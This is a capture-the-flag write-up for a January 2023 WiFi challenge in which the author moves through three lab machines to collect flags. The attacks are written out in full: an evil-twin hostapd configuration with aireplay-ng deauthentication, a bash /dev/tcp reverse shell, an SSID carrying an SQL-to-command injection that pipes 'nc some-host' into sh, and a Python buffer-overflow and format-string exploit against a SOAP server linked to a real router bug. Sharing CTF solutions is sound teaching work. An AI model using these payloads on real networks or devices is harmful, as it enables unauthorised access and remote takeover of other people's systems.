Skip to main content

January 2023's Turtles Challenge

· 9 min read

Editor's note:

The Turtles WiFi challenges are a series of ctf-style problems concerning network and wifi security skills. We first ran a challenge in this style at Stockholm's Midnight Sun CTF Finals in August '22 at the Turtles MidnightSun Finals. You can play along with January's challenge, with the github repository.

January's winner, Amy from Ret2 Systems, has kindly let us share their challenge writeup. Congratulations! And thanks again for putting this writeup together.

February's contest will be released on the 20th and we will be giving out more raspberry pis!

Intro

We find ourselves in a twisting maze of WLANs. There are 5 machines connected across several WLAN networks. We start as root on the first machine and must move laterally across the network to exfiltrate 3 flag files. From our box we can connect to an access point with the SSID "jan-turtle1".

Flag 1

Our first target is also connected to the "jan-turtle1" AP over WPA3. We can assume that the target may be doing something interesting over this network, so performing a MitM attack may be fruitful. To pull this off we can use the so-called "Evil Twin Attack" where we impersonate the AP.

First we need to set up our own AP with the same SSID and configuration as the existing "jan-turtle1" AP. I used hostapd to do this with the following config:

interface=wlan2
driver=nl80211
hw_mode=a
channel=40
ssid=jan-turtle1
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=sn0wt0rt0ise
ip addr add dev wlan2 192.168.1.1/24
hostapd -B /root/h.conf

Once we have the AP up and running, clients looking for the real "jan-turtle1" AP may connect to our malicious AP instead. However the target is already connected to the existing AP, so it won't attempt to reconnect to our AP.

Luckily we can force it off of the original AP by abusing deauthentication packets. If we send these packets with a spoofed target address, we cause the target to disconnect. Once the client has disconnected, there is a chance that they will reconnect to our malicious access point. We can use aireplay-ng to perform this attack on a second WLAN:

ip link set dev wlan3 up
yes | airmon-ng start wlan3 40
# Start deauth on target MAC
aireplay-ng -0 10 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan3mon &
# tcpdump -i wlan2 -v
06:09:53 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 40
06:09:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00
tcpdump: listening on wlan2, link-type EN10MB (Ethernet), snapshot length 262144 bytes
06:10:01.225272 02:00:00:00:01:00 (oui Unknown) > Broadcast Null Unnumbered, xid, Flags [Response], length 6: 01 00
06:10:08.879191 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.1 tell 192.168.1.2, length 28
06:10:08.879228 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.1 is-at 02:00:00:00:02:00 (oui Unknown), length 28
08:35:14.868587 IP (tos 0x0, ttl 64, id 18623, offset 0, flags [DF], proto TCP (6), length 60)
192.168.1.2.49070 > 192.168.1.1.http: Flags [S], cksum 0x27e2 (correct), seq 547073709, win 64240, options [mss 1460,sackOK,TS val 3350547164 ecr 0,nop,wscale 7], length 0
06:10:08.879473 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.1.1.http > 192.168.1.2.49070: Flags [R.], cksum 0x9d34 (correct), seq 0, ack 547073710, win 0, length 0

Looks like there is a unencrypted HTTP request! Lets host our own http server using python:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.1.2 - - [15/Feb/2023 06:17:06] "GET /install.sh HTTP/1.1" 404 -
192.168.1.2 - - [15/Feb/2023 06:17:16] code 404, message File not found

If we create our own install.sh, it looks like the box will run it! Lets get a reverse shell

bash -i >& /dev/tcp/192.168.1.1/1337 0>&1

Nice, we captured the first flag!

Listening on 0.0.0.0 1337
Connection received on 192.168.1.2 47550
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@2d419af9c243:/# cat flag1.txt
turtles{0f004d8e004f4577952eda915426eac38f4df6b4}
root@2d419af9c243:/#

Flag 2

For the second stage, we are given a binary named wardriver which is running on the second target. This binary has two main features. First it used iw dev <dev> scan to collect information on all near by access points.

int getData() {
__snprintf_chk(command, 256LL, 1LL, 256LL, "iw dev %s scan", (const char *)IFACE);
if ( fopen("scan.txt", "r") )
strcpy(command, "cat scan.txt");
v0 = popen(command, "r");
insert(v0);
...
sqlite3_exec(v7, v8, 0LL, 0LL);
}
__int64 __fastcall insert(...) {
...
__snprintf_chk(
v8, 256LL, 1LL, 256LL,
"INSERT INTO wifis VALUES(%d, '%s', '%s', '%s');",
_id, bss_str, ssid_str, signal_str,
);
}

If we create an malicious AP, the SSID will be formatted into this INSERT command. We can use this to perform an SQL insert injection into the database, allowing us to control any field of a new entry to the wifis table.

Next we look at the second functionality. The binary will periodically dump values from the table and send them as data using a curl command:

__int64 dump() {
...
v0 = sqlite3_exec(v3, "SELECT * FROM wifis", callback, 0LL);
...
}
__int64 __fastcall callback(...) {
...
if ( bss_str && signal_str ) {
__snprintf_chk(
command, 128LL, 1LL, 128LL,
"curl %s --data \"{\\\"bss\\\": \\\"%s\\\", \\\"signal\\\": \\\"%s\\\"}\"",
"http://127.0.0.1:8080/logs",
bss_str, signal_str);
system(command);
return 0LL;
}
return 1LL;
}

We can see that there is no sanitization of the bss or signal columns when formatted into the command. We can trigger command injection here by creating a malicious wifi entry using the SQL injection in the previous function. The length of command injection in the SSID is limited, so I fetched a second stage from a remote host. Here is the hostapd config with the SQL injection payload:

interface=wlan4
driver=nl80211
hw_mode=a
channel=48
ssid=',''),(2,'`nc some-host 9|sh`','
wpa=2
wpa_key_mgmt=SAE
wpa_pairwise=CCMP
ap_isolate=1
sae_password=shred_the_gnar_pow

After a few seconds the wardriver picks up our AP and we get a connect back on the second target!

$ nc -l 1338 -v
Listening on 0.0.0.0 1338
Connection received on 192.168.1.2 58580
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@b976e8a2f52b:/# cat flag2.txt
cat flag2.txt
turtles{f0c03d9e242a89f1df51e5da9a833750398fe989}
root@b976e8a2f52b:/#

Flag 3

For the final target, we need to exploit an SOAP Server running on the second AP. Our second target box is already authenticated to the AP, so we can easily talk to the server directly.

Decompiling the binary, we see that it is a simple HTTP server which implements a few parts of the SOAP protocol. We can perform a some actions such as listing the server uptime or date.

The first bug I found was in an error handler. This handler uses the http_response function to build a response with HTTP code 400. However for the body pointer, it mistakenly passes a void** pointer instead of a char* ptr. This will leak the address of the soap_action function as well as a stack address in the body of the 400 response.

int __cdecl http_response(...) {
fprintf(stream, "HTTP/1.1 %d %s\r\n", a2, a3);
fwrite("Server: OS/Version UPnP/1.0 product/version", 1u, 0x2Bu, stream);
fwrite("Content-Type: text/html\r\n", 1u, 0x19u, stream);
fwrite("Connection: close\r\n", 1u, 0x13u, stream);
fwrite("\r\n", 1u, 2u, stream);
fprintf(stream, "<HTML><HEAD><TITLE>%d %s</TITLE></HEAD>\n<H4>%d %s</H4>\n", a2, a3, a2, a3);
...
}
unsigned int __cdecl handle_client(int fd) {
void* __soap_action_ = soap_action;
char *v7;
char buf[2048];
v7 = &buf;
if ( _isoc99_sscanf(...) ) {
...
__soap_action(steam);
} else {
http_response(stream, 400, "Invalid request", (const char *)&__soap_action_)
}
}

We can trigger this leak with the following code:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall(b'ENDEND a\n')
leak = (sock.recv(4096).split(b'request</H4>\n',1)[1]
.split(b'ENDEND',1)[0].ljust(8,b'\0'))
text_leak = u32(leak[:4])
stack_leak = u32(leak[4:])

sock.close()

Looking closer at the string functions being used, there are several buffer overflows from calls to sprintf and strcpy. However almost all of these are protected by stack-cookies. Luckily there is a single case where a pointer lays between a buffer and the stack-cookie:

__int64 __cdecl soap_response(...) {
char dest[2048];
char src[2048];
char* format_str;
unsigned int cookie;
...
format_str = "%s";
...
sprintf(&src[off], "%s", sub_action);
...
sprintf(&src[off], format_str, action);
}

Since we are able to buffer overflow src using the first sprintf call, we can smash the format_str ptr. This allows point format_str at our own data on the stack (using the leak from earlier), giving us an arbitrary format string vulnerability.

We can easily exploit the format string by using the %123$hhn syntax. This syntax will write the number of bytes printed so far as a uint8_t at a given offset on the stack. This is very handy as we can use it to surgically corrupt a return pointer without messing with the stack-cookie.

At this point we can control the EIP register, but we still need to actually get code execution. There is an easy way to do this by abusing the calls to system in the binary. We can partially corrupt the return address to point it to the following address in the binary:

.text:00001A76                 call    system
.text:00001A7B add esp, 10h
.text:00001A7E sub esp, 8

The first argument of system will be the next value pointed to by ESP, which just so happens to be our format string from before. We can simply prepend our format string exploit with a command to run!

# Prep return byte overwrite targets
g1 = 0x76
g2 = ((text_leak & 0xf000) >> 8) + 0xa

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

pl = b'post / a\nSOAPAction: '
pl += b'numberwang#wangernum42'

# Place write targets on the stack
pl += p32(target_stack_ret)
pl += p32(target_stack_ret+1)
# Padding
pl += b'EEEE'
pl += b'FFFF'
pl += b'A'*(1824-4*4)
# Smash format ptr
pl += p32(stack_leak)
pl += b'\n\n'

# Command to run in system
fmt = 'nc some-host 10|sh;#'

# Format string exploit
fmt += f'%{g1-len(fmt)}c'+'%592$hhn'+f'%{g2-g1}c'+'%593$hhn'
pl += fmt.encode('latin-1')

sock.sendall(pl)

With this exploit ready to go, we can run it from the second target box. Once the exploit lands we are greeted with our last reverse shell and get the last flag!

$ nc -l 1339 -v
Listening on 0.0.0.0 1339
Connection received on 192.168.1.2 14253
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
root@21fbbf871fa0:/# cat flag3.txt
turtles{c14583540ce6a34f73cb04d964aff18415916fae}
root@21fbbf871fa0:/#

Editor's note:

Challenge 3 is based on a flaw the Supernetworks team exploited in preparation for December's pwn2own contest against the Netgear RAX30. Oddly enough: the soapd binary has FORTIFY_SOURCE enabled, yet still has some stray sprintfs, and does in fact store the format string on the stack like that, for unclear reasons.